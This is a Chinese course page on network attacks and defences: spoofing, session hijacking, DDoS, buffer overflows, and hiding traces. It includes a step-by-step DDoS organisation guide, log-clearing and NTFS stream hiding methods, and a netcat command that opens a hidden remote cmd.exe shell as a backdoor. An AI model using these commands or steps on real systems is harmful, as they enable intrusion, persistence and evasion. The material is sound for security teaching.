目录

  • 1 网络攻防技术概述
    • 1.1 网络攻击的类型
    • 1.2 网络攻击实施过程
    • 1.3 网络攻击的新技术
  • 2 Windows操作系统安全基础
    • 2.1 Windows操作系统的安全机制
    • 2.2 ​Windows常见命令的使用
    • 2.3 Windows用户管理
  • 3 Linux操作系统安全基础
    • 3.1 Linux操作系统及其结构
    • 3.2 Linux常见命令的使用
    • 3.3 Linux用户管理
  • 4 信息探测与漏洞扫描
    • 4.1 端口扫描
    • 4.2 类型探查
    • 4.3 漏洞扫描
  • 5 网络嗅探与协议漏洞利用
    • 5.1 网络嗅探的基本工作原理
    • 5.2 ARP欺骗
    • 5.3 DNS欺骗
    • 5.4 DDoS攻击
  • 6 恶意代码攻防
    • 6.1 计算机病毒的概述
    • 6.2 宏病毒
    • 6.3 灰鸽子木马
    • 6.4 病毒防范方法
  • 7 口令破解与防范
    • 7.1 口令的破解技术
    • 7.2 win口令本地破解
    • 7.3 win口令远程破解
    • 7.4 口令破解的防范方法
  • 8 缓冲区溢出漏洞利用
    • 8.1 缓冲区溢出概况
    • 8.2 本地缓冲区溢出
    • 8.3 远程溢出
    • 8.4 缓冲区溢出的防范
  • 9 脚本攻击与防御
    • 9.1 SQL注入的概述
    • 9.2 SQL注入漏洞利用
    • 9.3 SQL注入的防范方法
    • 9.4 XSS攻击的概述
    • 9.5 XSS漏洞利用
    • 9.6 XSS攻击的防范方法
    • 9.7 CSRF跨站请求伪造
    • 9.8 SSRF服务器端请求伪造
  • 10 扩展内容知识
    • 10.1 二进制pwn
    • 10.2 逆向工程
    • 10.3 BPburpsuite使用
    • 10.4 Wireshark使用
    • 10.5 CTF比赛
    • 10.6 信息安全工程师
    • 10.7 网络安全宣传
  • 11 课程平台
    • 11.1 网络安全综合实训平台
    • 11.2 综合实训
DNS欺骗



https://zhuanlan.zhihu.com/p/102490139?utm_source=qq

DNS欺骗原理

可采用的方法:

  • DNS劫持(DNS Hijacking):即攻击者劫持DNS服务器,强迫DNS进行符合攻击者要求的域名解析。

  • DNS污染(DNS Pollution):也称为DNS缓存投毒(DNS cache poisoning),即攻击者通过欺骗手段污染客户端的本地权威DNS缓存,使客户端的解析得到假的IP地址。

(1)DNS劫持原理

通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址,从而实现窃取资料或者破坏原有正常服务的目的。

一种可能的劫持原理:

攻击者窃听网络中的DNS请求报文

  • n怎么窃听DNS请求报文?

如果发现客户端发出的DNS请求的是某些特殊的服务器域名,则将一个虚假的IP地址通过DNS响应报文送给客户端

  • 客户端为什么会接受这个虚假的DNS响应?

客户端按照虚假的IP地址进行访问,从而掉入攻击者设置的圈套。





DNS欺骗防范

DNS欺骗攻击的防御相对比较困难,用户甚至都不知道自己已经被DNS欺骗攻击。通常的,除非发生欺骗攻击,否则可能都不知道已经被欺骗。

防御措施:

  • 内网安全防护:DNS欺骗攻击往往来自于内部网络,即常常是由被黑客控制的内部肉机发起攻击。因此,做好内网安全,黑客控制内网主机的可能性就会大大降低,发起DNS欺骗攻击的可能性也就随之大大降低。

  • 本地Host文件:在本地存储的Host文件中手工添加重要服务器的域名及对应IP地址,从而减少被欺骗的可能性。

  • IDS:正确部署和配置的IDS可以检测出大部分缓存投毒和劫持攻击。

  • DNSSEC: DNSSEC是替代DNS的更好选择,通过数字签名形式确保查询响应的有效性,已被公认为为DNS的未来方向。

邮件欺骗

电子邮件欺骗是指攻击者以假冒发信者的身份向邮件接受者发送电子邮件,以获得邮件接受者的信任,从而骗取敏感信息。

(1)欺骗形式

  • ·使用相似的电子邮件地址

  • ·修改邮件客户软件的账号配置

  • ·直接连到smtp服务器上发信

(2)电子邮件欺骗成功的关键

基本的电子邮件协议不包括签名机制

(3)电子邮件欺骗方法

使用相似的地址

发信人使用被假冒者的名字注册一个账号,然后给目标发送一封正常的信





❏修改邮件客户软件的帐户配置

• 邮件帐户配置

–姓名(Name)属性,会出现在

“From”和“Reply-To”字段中,显示在“发件人”信息中

–电子邮件地址,会出现在

“From”字段中

–回复地址,会出现在“Reply-To”字段中,可以不填

• 发送服务器设置

使用与接受邮件服务器相同的设置





❏直接连接smtp服务器

通过命令行直接连接smtp服务器的25端口,发送命令。常见命令为:

  • ·Helo(or EHLO)

  • ·Mail from:

  • ·Rcpt to:

  • ·Data

  • ·Quit





(4)邮件欺骗的防范

❏数字签名

❏邮件服务器的验证

  • ·Smtp服务器验证发送者的身份,以及发送的邮件地址是否与邮件服务器属于相同的域

  • ·验证接收方的域名与邮件服务器的域名是否相同

  • ·有的也验证发送者的域名是否有效,通过反向DNS解析

  • ·为邮件服务器安装上所有最新的补丁

❏不能防止一个内部用户假冒另一个内部用户发送邮件

❏攻击者可以运行自己的smtp邮件服务器

❏审计制度,所有的邮件都有记录 ·隐私?

会话劫持技术

一、会话劫持原理

会话劫持是结合了嗅探和欺骗技术在内的攻击手段。例如,在一次正常的会话过程当中,攻击者作为第三方参与到其中,既可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行监听,甚至可以是代替某一方主机接管会话。

1、会话劫持的两种类型

  • 被动劫持:监听网络会话流量,以发现密码或者其他敏感信息

  • 主动劫持:找到当前活动的会话,并且把会话接管过来。迫使一方下线,由劫持者取而代之。攻击者接管了一个合法会话后,可以做更多危害性更大的事情

会话劫持可以对所有基于TCP的网络应用开展攻击,危害很大。

如:HTTP、FTP、Telnet等。





2、会话建立过程





  • 根据TCP/IP的规定,使用TCP协议进行通讯需要提供两段序列号,TCP协议使用这两段序列号确保连接同步以及安全通讯,系统的TCP/IP协议栈依据时间或线性的产生这些值。

  • 在通讯过程中,双方的序列号相互依赖,如果攻击者直接进行会话劫持,结果肯定失败。因为会话双方“不认识”攻击者,攻击者不能提供合法的序列号。所以,会话劫持的关键是预测正确的序列号,攻击者可以采取嗅探技术获得这些信息。

3、TCP协议的序列号

在每一个数据包中,都有两段序列号,分别为:

  • SEQ:当前数据包中的第一个字节的序号

  • ACK:期望收到对方数据包中第一个字节的序号

SEQ和ACK之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号):

S_ACK <= C_SEQ <= S_ACK + S_WIND

C_ACK <= S_SEQ <= C_ACK + C_WIND

S_ACK、S_SEQ 、S_WIND分别是服务端的序列号、确认号和数据窗口长度

C_ACK、C_SEQ 、C_WIND分别是客户端的序列号、确认号和数据窗口长度

如果不符合上述逻辑关系,就会产生出一种称为ACK风暴的“致命弱点”。

4、ACK 风暴

当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。

比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。。

并不是所有系统都会出现ACK风暴。如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。

5. 实施会话劫持的一般性过程

•发现目标

–找到什么样的目标,以及可以有什么样的探查手段,取决于劫持的动机和环境

•探查远程机器的ISN(初始序列号)规律

–可以使用扫描软件,或者手工发起多个连接

•等待或者监听对话

–最好在流量高峰期间进行,不容易被发现,而且可以有比较多可供选择的会话

•猜测序列号

–最关键的一步,如果不在一个子网中,难度就非常大

•使被劫持者下线

–ACK风暴,拒绝服务

•接管对话

–如果在同一子网中,则可以收到响应,否则要猜测服务器的动作

会话劫持过程





如果此时:

攻击者C冒充主机A给主机B发送一个数据包 SEQ : X+100, ACK: Y+80 Window: ZZZZ,包大小为:20 B向A回应一个数据包 SEQ : Y+80 ACK: X+120 Window: ZZZZ,包大小为:10

由于主机A并不能识别主机B发送过来的数据包,所以主机A会以期望的序列号返回给主机B一个数据包,随即形成ACK风暴。

如果成功的解决了ACK风暴(例如ARP欺骗),就可以成功进行会话劫持了。

6. 会话劫持工具

可以进行会话劫持的工具很多,比较常用有:

  • Juggernaut:可以进行TCP会话劫持的网络Sniffer程序;

  • TTY Watcher:针对单一主机上的连接进行会话劫持。

  • Dsniff工具包:可以实现会话劫持。

  • Hunt:非常优秀的会话劫持工具,可以工作在Linux和一些Unix平台下,功能非常强大。支持共享网络和交换网络,可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。





三、Https会话劫持之SSLStrip

1、一般HTTPS通信过程:





以访问Gmail为例的基本过程如下:

(1)客户端浏览器使用HTTP连接到端口80的mail.google.com

  (2)服务器试用HTTP代码302重定向客户端HTTPS版本的这个网站;

  (3)客户端连接到端口443的网站mail.google.com

  (4)服务器向客户端提供包含其电子签名的证书,该证书用于验证网址;

  (5)客户端获取该证书,并根据信任证书颁发机构列表来验证该证书;

  (6)加密通信建立。

  如果证书验证过程失败,则意味着无法验证网址的真实度,用户将会看到页面显示证书验证错误,或者他们也可以选择冒着危险继续访问网站,因为他们访问的网站可能是欺诈网站。





2、SSLstrip工作原理

SSLstrip通过监视Http传输进行工作,当用户试图进入加密的https会话时它充当代理。当用户认为安全的会话已经开始时,SSLstrip也通过https连接到安全服务器,所有用户到SSLstrip的连接是http,这就意味着浏览器上警告提示已经被阻止,浏览器看起来正常工作,在此期间所有的用户敏感信息都可以轻易被截获。





3、劫持HTTPS通信

(1)客户端与web服务器间的流量被拦截;

(2)当遇到HTTPS URL时,sslstrip使用HTTP链接替换它,并保存了这种变化的映射;

(3)攻击机模拟客户端向服务器提供证书;

(4)从安全网站收到流量提供给客户端;

这个过程进展很顺利,服务器仍然在接收SSL流量,服务器无法辨别任何改变。用户可以感觉到唯一不同的是,浏览器中不会标记HTTPS,所以某些用户还是能够看出不对劲。

四、会话劫持防范

会话劫持防范比较复杂,需要从以下几个方面进行:

(1)尽可能使用交换式网络,虽然像Hunt这样的工具可以在交换环境中实现会话劫持,但交换式网络还是可以防范最基本的嗅探攻击。

(2)防范ARP欺骗等。实现中间人攻击的前提是ARP欺骗,如能阻止攻击者进行ARP欺骗,中间人攻击将难以进行。其次,监视网络流量,如发现网络中出现大量的ACK包,则有可能已被会话劫持攻击。

(3)最根本的解决办法是采用加密通讯,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,这样会话劫持就无用武之地了。

4.5 拒绝服务技术

一、基本概念

1、术语

  • 服务:系统提供的,用户在对其使用中会受益的功能。

  • 拒绝服务:任何对服务的干涉,如果使其可用性降低或者失去可用性均称为拒绝服务(Denial of Service)。

  • 拒绝服务攻击:是指攻击者通过某种手段,有意地造成计算机或网络不能正常运转,从而不能向合法用户提供所需要的服务或者使得服务质量降低。

2、拒绝服务攻击

拒绝服务攻击有的利用了网络协议的缺陷,有的则抢占网络或者设备有限的处理能力。

最常见的DoS攻击是资源型风暴攻击,如:计算机网络带宽攻击和连通性攻击。

  • 带宽攻击是以极大的通信量冲击网络,使网络所有可用的带宽都被消耗掉,最后导致合法用户的请求无法通过。

  • 连通性攻击指用大量的连接请求冲击计算机,最终导致计算机无法再处理合法用户的请求。

3、分布式拒绝服务攻击

分布式拒绝服务(Distributed Denial of Service,DDoS)指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。

  • DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。

  • 单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高时,它的效果是明显的。

  • 随着计算机的处理能力迅速增长,内存和网络带宽大大增加,这使得DoS攻击的困难程度加大了---- 目标对恶意攻击包的“消化能力”加强了不少, DoS攻击效果不明显。

DDOS攻击运行原理



DDoS攻击体系结构



DDOS攻击运行原理

  • 一个比较完善的DDoS攻击体系分成四大部分:

黑客 控制傀儡机 攻击傀儡机 受害者

  • 对受害者来说,DDoS的实际攻击包是从攻击傀儡机上发出的,控制机只发布命令而不参与实际的攻击。

  • 对第2和第3部分计算机,黑客有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自黑客的指令,通常它还会利用各种手段隐藏自己不被别人发现。

  • 在平时,这些傀儡机器并没有什么异常,只是一旦黑客连接到它们进行控制,并发出指令的时候,攻击傀儡机就成为害人者去发起攻击了。





被DoS/DDos攻击时的现象:

  • 网络中充斥着大量的无用的数据包,源地址为假。

  • 制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯。

  • 受害主机无法及时处理所有正常请求。

  • 受害主机响应缓慢,严重时会造成系统死机。

二、如何组织一次DDoS攻击

1. 搜集了解目标的情况

下列情况是DDOS能否成功的关键:

  • 被攻击目标主机数目、地址情况

  • 目标主机的配置、性能

  • 目标的带宽


对于DDoS攻击者来说,攻击互联网上的某个站点,首先要确定到底有多少台主机在支持这个站点,一个大的网站一般有很多台主机利用负载均衡技术提供同一个网站的www服务。

以yahoo为例,下列地址都提供yahoo.com服务:

66.218.71.87 66.218.71.88

66.218.71.89 66.218.71.80

66.218.71.81 66.218.71.83

66.218.71.84 66.218.71.86

如果要针对Yahoo的WEB服务进行DDoS攻击,仅攻击一个IP地址是远远不够的话,必须要让所有这些IP地址的主机都被攻击瘫痪才能达到目标。

因此,必须事先搜集情报,了解清楚目标网站的主机规模和网络结构,这关系到使用多少台傀儡机才能达到效果的问题。





2. 占领傀儡机

黑客最感兴趣的是有下列情况的主机:

  • 性能好的主机

  • 负载轻的主机

  • 安全管理水平差的主机

黑客通过扫描,寻找互联网上那些有漏洞的机器,包括溢出漏洞、cgi、Unicode、ftp、数据库漏洞等等,并有针对性尝试入侵。入侵成功,即可成为傀儡机。

从俘获的傀儡机中选择若干台做为控制傀儡机,其余的作为攻击傀儡机。

利用ftp分别将DDoS攻击程序和控制程序传送到攻击傀儡机和控制傀儡机上,等待发出攻击指令。

3、实际攻击

当条件成熟或时机到了,攻击者即会发动攻击。与搜集情报和占领傀儡机相比,发动DDOS攻击非常简单:

  • 攻击者登录到控制傀儡,并通过控制傀儡机向所有(或部分)攻击傀儡机发出命令;

  • 潜伏在攻击傀儡机中的DDoS攻击程序在收到控制傀儡机的攻击命令后即会向目标发送攻击报文。

  • 攻击者一边攻击,还会用各种手段来监视攻击的效果,在需要的时候进行一些调整。如:不断侦测攻击效果,如果效果不好则会随时调整攻击策略或增加更多攻击傀儡机加入攻击。





三、攻击类型

根据攻击特点,DDOS可以分为三种类型:

1、资源消耗型

同时发动大量的攻击傀儡机向目标发送海量的数据包,以消耗目标的带宽资源和存储资源。因此也常常被称为蛮力攻击、洪水攻击等。

在这类攻击中,为了不让目标轻易发现,常常会构造各种类型的数据包,使其与正常服务的数据包难以区分。攻击效果完全依赖于数据包的数量,只有当大量的数据包到达目标时,攻击方才有效。

面对这种类型的DDOS攻击,即使拥有大量资源的网络也难以幸免。

2、以巧取胜型

这类DDOS攻击是利用协议本身或者其软件实现中的漏洞,通过一些非正常的(畸形的)数据包使得受害者系统在处理时出现异常,导致受害者系统崩溃。

这类攻击主要是利用协议或软件漏洞进行攻击,也被称为漏洞攻击或协议攻击。如:Sockstress攻击、NTP放大攻击等。

由于这类攻击甚至只需要发送一个数据包就可以制目标瘫痪,因此也被称为毒药攻击。

(1)Sockstress攻击

SockStress利用tcp协议的先天不足,消耗目标的内存以及CPU资源,以形成拒绝服务攻击。

SockStress的攻击原理是:在建立TCP的三次握手的第三次确认时,攻击方将确认需要设置最后一个握手包的window字段置为0并向服务器请求数据传输。服务器发现对方的缓冲区空间为0,则只能一直维持这个链接,并发出TCP的探测报文,询问对方的缓冲区是否有空闲。只要攻击方一直保持window字段为0,则服务器只能一直维持这个连接。

(2)NTP攻击

NTP是保持计算机时钟同步的一个协议,利用的是UDP的123号端口。当接收到64字节的monlist请求包后,NTP服务器发送会向目标发送100个482字节的响应包,放大700倍以上。

攻击者只需事先收集到足够数量的NTP服务器,如果向NTP服务器发送一个源地址为目标系统地址的NTP请求包,则就会有大量的响应包文从NTP服务器涌向目标系统。

3、混合型

资源消耗型和以巧制胜型的混合体,吸收了前两种攻击类型的优点,攻击效果惊人,是目前最常见的DDOS攻击类型。

如:SYN Flood、DNS Query Flood等。

DNS Query Flood攻击:

DNS Query Flood攻击是攻击者向DNS服务器发送大量DNS解析请求,从而占据DNS缓存,达到拒绝服务的目的。

DNS Query Flood攻击成功的关键是攻击者发送的查询请求都是不同的域名,以消耗DNS缓存。因此,发送者需要预先构造大量与经常访问的域名不同的域名,否则DNS会从已有的缓存记录中返回响应报文。

4.6 缓冲区溢出技术

一、缓冲区溢出相关概念

1、基本概念

(1)缓冲区

缓冲区(Buffer)是指包含相同数据类型实例的一个连续的计算机内存块,是程序运行期间在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。

(2)缓冲区溢出

缓冲区溢出(Buffer overflow)是向固定长度的缓冲区中写入超 出其预先分配长度的内容,造成缓冲区中数据的溢出,从而覆盖缓冲区周围的内存空间。

(3)缓冲区溢出攻击

黑客精心构造填充数据造成缓冲区溢出,改变程序原有流程,使程序执行特殊代码, 最终获取控制权。

1988年,利用UNIX提供的查找本地和远程用户公开信息的服务(fingerd)程序的缓冲区溢出漏洞,Robert Morris编写了第一个蠕虫病毒,是最早利用缓冲区溢出的攻击行为。

利用缓冲区溢出漏洞进行攻击已经成为最主要的黑客攻击行为。据统计,约有80%以上的攻击行为是基于缓冲区溢出漏洞。

缓冲区溢出攻击之所以日益增加,主要的原因由于各种操作系统和应用软件中存在大量的缓冲区溢出问题。同时,利用缓冲区溢出漏洞进行攻击,可以轻易的导致程序运行失败、系统崩溃以及重新启动等效果。

更为严重的是,如果利用缓冲区溢出漏洞执行非授权指令, 甚至取得系统特权,进而进行各种非法操作。

如何防止和检测利用缓冲区溢出漏洞进行的攻击, 已成为网络入侵防御以及入侵检测的重点之一。

3、缓冲区溢出攻击的特点

与其他攻击类型相比,缓冲区溢出攻击:





(1)缓冲区溢出的破坏性

利用缓冲区溢出漏洞进行攻击已成为主要的攻击行为,超过所有攻击的80%以上。缓冲区溢出攻击之所以日益普遍,其原因在于各种操作系统和应用软件上存在的缓冲区溢出问题数不胜数,带来的影响非常显著:

❏利用缓冲区溢出漏洞进行攻击,可以轻易的导致程序运行失败、系统崩溃以及重新启动等后果。

❏可以利用缓冲区溢出执行非授权指令,甚至取得系统特权,进而进行各种非法操作。

(2)缓冲区溢出的隐蔽性

❏漏洞被发现之前,程序员一般不会发现自己程序存在漏洞(事实上,几乎所有的漏洞都是由别人发现,而非编写者),难于监测;

❏被植入的攻击代码一般都很短,执行时间也非常短,很难在执行过程中被发现。而且,在执行时也不一定会使系统报告错误,甚至可能不影响正常程序的运行;

❏由于漏洞存在于防火墙保护的内网主机上,攻击者可以在内网堂而皇之地取得本来不被允许或没有权限的控制权;

❏攻击的随机性和不可预测性使得防御变得异常艰难。没有攻击时,被攻击程序本身并不会有什么变化,也不会存在任何异常的表现;

❏缓冲区溢出漏洞的普遍存在,几乎无法做到百分百的防范,因为各种修补缓冲区溢出漏洞的补丁程序也可能存在着新的溢出漏洞。

二、缓冲区溢出原理

1、程序在内存中的映像





  • 代码段(.text),也称文本段(Text Segment) ,存放程序的机器码和只读数据。如果可能,系统会安排好相同程序的多个运行实体共享这些实例代码。这个段在内存中一般被标记为只读,任何对该区的写操作都会 导致段错误(Segmentation Fault)。

  • 数据段,包括已初始化的数据段(.data)和未初始化的数据段(.bss),前者用来存放保存全局的和静态的已初始化变量,后者用来保存全局的和静态的未初始化变量。数据段在编译时分配。

  • 堆(Heap):是一种用于存储程序运行时所分配变量的存储结构。

  • 栈(Stack):是一种用来存储函数调用时的临时信息的存储结构,如函数调用所传递的参数、函数的返回 地址、函数的局部变量等。

2、堆和栈的不同

(1)分配和管理方式不同

  • 堆实行的是动态的内存空间分配与管理,是由程序根据运行情况动态提出申请。由malloc()、new()等实现内存空间的分配,并由free()、delete()等函数释放。 如果程序没有释放,在程序结束后操作系统会自动回收。

  • 堆实行的是动态的内存空间分配与管理,是由程序根据运行情况动态提出申请。由malloc()、new()等实现内存空间的分配,并由free()、delete()等函数释放。 如果程序没有释放,在程序结束后操作系统会自动回收。

(2)产生碎片不同

  • 对于堆,频繁的new/delete或者malloc/free势必会造成 内存空间的不连续,造成大量的碎片,使程序效率降低。

  • 对于栈,不存在碎片问题,因为栈是先进后出的队列, 永远不可能有一个内存块从栈中间弹出。

(3)生长方向不同

  • 堆从内存低地址向高地址方向增长。

  • 栈由内存的高地址向低地址方向增长。

(4)栈的特性

栈采用的是后进先出的方式,也称为先进后出(FILO)队列。

(5)栈的基本操作

  • PUSH操作:向栈中添加数据,称为压栈,数据将放置 在栈顶;

  • POP操作:POP操作相反,在栈顶部移去一个元素,并 将栈的大小减一,称为弹栈。

3、三个重要的寄存器

•SP(ESP)

–----------即栈顶指针,随着数据入栈出栈而发生变化

•BP(EBP)

–----------即基地址指针,用于标识栈中一个相对稳定的位置。通过BP,可以方便地引用函数参数以及局部变量

•IP(EIP)

----------–即指令寄存器,在将某个函数的栈帧压入栈中时,其中就包含当前的IP值,即函数调用返回后下一个执行语句的地址

例:

假设有一程序,其函数调用顺序如下:

main() ->; func_1() ->; func_2() ->; func_3()

即: 主函数main调用函数func_1; 函数func_1调用函 数func_2; 函数func_2调用函数func_3。

则其内存结构映像如下图所示:





调用函数时,栈中的压入情况如下:





在局部变量的下面,就是前一个调用函数的 EBP,接下来就是返回地址。

如果局部变量发生溢出,很有可能会覆盖掉 EBP甚至RET(返回地址),这就是缓冲区 溢出攻击的“奥秘”所在。

如果在堆栈中压入的数据超过预先给堆栈分 配的容量时,就会出现堆栈溢出,从而使得程序运行失败甚至系统崩溃。

4.7 隐身和后门技术

一、掩盖踪迹

攻击者取得Administrator账号权限后,不仅要尽快萌取目标系统的信息,还要做些善后工作,如安置后门,藏匿工具,禁止审计,清空事件日志和隐藏文件 。这些善后工作可以销赃匿迹,防止被受害者发觉,方便再次返回,或者将该机作为桥头堡,以备对其他系统发动攻击。

1、关闭审计功能

利用Windows自带的auditpol工具可以自由的打开或关闭审计程序 Disable/ Enable。攻击者经常是入侵成功后立即关闭审计程序,以免攻击行为被记录和审计;在离开目标系统前再将审计打开,于是auditpol就保持不变,从而欺骗受害者。

2.、清理事件日志

在获得管理员权限的过程中 ,攻击者利用自己主机的事件查看器(Event Viewer)删除目标主机的Windows事件日志(Event Log)留下的踪迹,但同时会留下一条新的记录,说明事件日志已 被人侵者清袋 。这样,可能引起目标系统管理员的警觉 。攻击者也可以手动修改日志文件,只是抹去与入侵和攻击行为相关的记录,因为Windows 系统使用的日志语法比较复杂,而且记录的数量很大,这样的操作往往不会引起管理员的注意。

二、隐藏文件

完成一次入侵后,攻击者常常会希望在目标系统上保留一个工具箱以供再次入侵时使用。但是,攻击者必须要考虑的是:如何将工具保留在目标系统上同时又不会被发现。

一种非常容易的方法是将驻留在目标系统上的文件属性设置为隐藏。然而,只要在资源管理器中选择“显示所有的文件、文件夹和驱动器”选项,这些隐藏的文件就会原形毕露。

另一种更加隐秘的方法是利用Windows的NTFS文件系统中的数据流机制。

NTFS是Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的文件系统。NTFS比FAT文件系统更稳定,更安全,功能也更为强大。

❐NTFS数据流文件

NTFS交换数据流(Alternate Data Streams,ADS)是NTFS的一个特性。在NTFS文件系统中,允许单独的数据流文件存在,也允许一个文件附着多个数据流,即除了主文件流之外还允许多个非主文件流寄生在主文件流之中。

数据流文件不能被常规的工具所发现(如资源管理器),也不能用常规的方式(如dir、del等)对其进行操作。虽然无法看到数据流文件,但其却真实存在于系统中。

❐创建数据流文件

在命令行下创建,如:echo "this is a stream file" > :test1.txt

❐关联数据流文件

(1)创建一个任意文件,如用记事本创建一个文本文件,假设为A.txt

(2)echo "this is a stream file" > A.txt:stream.txt”

创建了一个内容为“this is a stream file”的数据流文件stream.txt ,并将其与宿主文件A.txt进行了关联。

如果打开A.txt,可以发现内容不会有任何变化,甚至文件大小和创建日期都可能不会发生改变。

数据流文件可以是任意类型,既可以是文本文件也可以是可执行文件。如果是可执行文件,当需要运行时,需要用start命令。

例1:

设有A.txt和B.txt两个文件

在命令行发出:Type B.txt > A.txt:B.txt

则在A.txt文件中隐藏了B.txt的文件流。这时即使删除B.txt,也无法将这个隐藏的文件流从A.txt的关联中删除。

如果要把隐藏在A.txt中的B.txt文件显示出来,一个简单的办法是:

在命令行发出:notepad a.txt:B.txt

Notepad是为数不多的几个能识别文件流的Windows命令之一。

例2:

设有A.txt和B.EXE两个文件

在命令行用Resourcekit中的CP工具:cp B.exe A.txt:B.exe

则在A.txt文件中隐藏了B.exe的文件流。

如果要运行隐藏在A.txt中的B.exe,则需要用Start命令:

在命令行发出:start a.txt:B.exe

如果要把隐藏在A.txt中的文件流分离出来,也需要用CP工具

CP A.txt:B.exe B.exe

如果想删除隐藏在A.txt中的文件流,一个简单的办法是把A.txt拷贝到FAT分区中。或者删除隐藏文件流所在目录。

如果要检测一个文件中是否关联有隐藏的文件流,只能借助专门工具,如利用 Found Stone 公司开发的 Sfind。

三、创建后门

在获得管理员权限后,攻击者通常会在目标系统上植入某种程序,为今后的进入和控制目标系统提供便利。

被誉为“瑞士军刀”的netcat工具软件就是经常被选择工具软件之一。

可以将netcat配置成监听某个端口,并在有远程系统连接到这个端口时启动一个可执行程序。

nc –L –d –e cmd.exe –p 8080

其中-L表示连接掉线时仍然监听;-d表示以隐秘方式运行NetCat,不会在目标系统上出现交互式控制台;-e表示执行指定的程序(如cmd. exe ) ;-p表示指定的监听端口(如8080)。

这条命令将向任何一个连接到 8080端口的攻击者返回一个远程命令shell,这样,攻击者就可以为所欲为。

除了netcat这类命令行的工具外,还有一些图形化的工具可以利用,如Windows提供的Terminal Service。也可利用AT&T的VNC工具。